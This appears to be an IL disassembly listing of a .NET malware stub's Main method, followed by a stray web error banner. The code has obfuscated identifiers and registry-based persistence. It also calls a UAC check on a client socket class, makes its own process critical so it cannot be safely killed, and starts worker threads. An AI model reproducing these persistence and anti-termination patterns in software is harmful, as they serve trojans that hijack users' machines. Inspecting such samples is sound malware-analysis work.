ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
castclass System.String
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_05C3: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05C3: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴍ.Ⴗ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_0619: ldc.i4.7
ldc.i4.5 <null>
stloc.s V_24
br.s IL_05C6: ldloc.s V_24
ldc.i4.7 <null>
br.s IL_0615: stloc.s V_24
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.3 <null>
stloc.s V_24
br IL_05C6: ldloc.s V_24
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙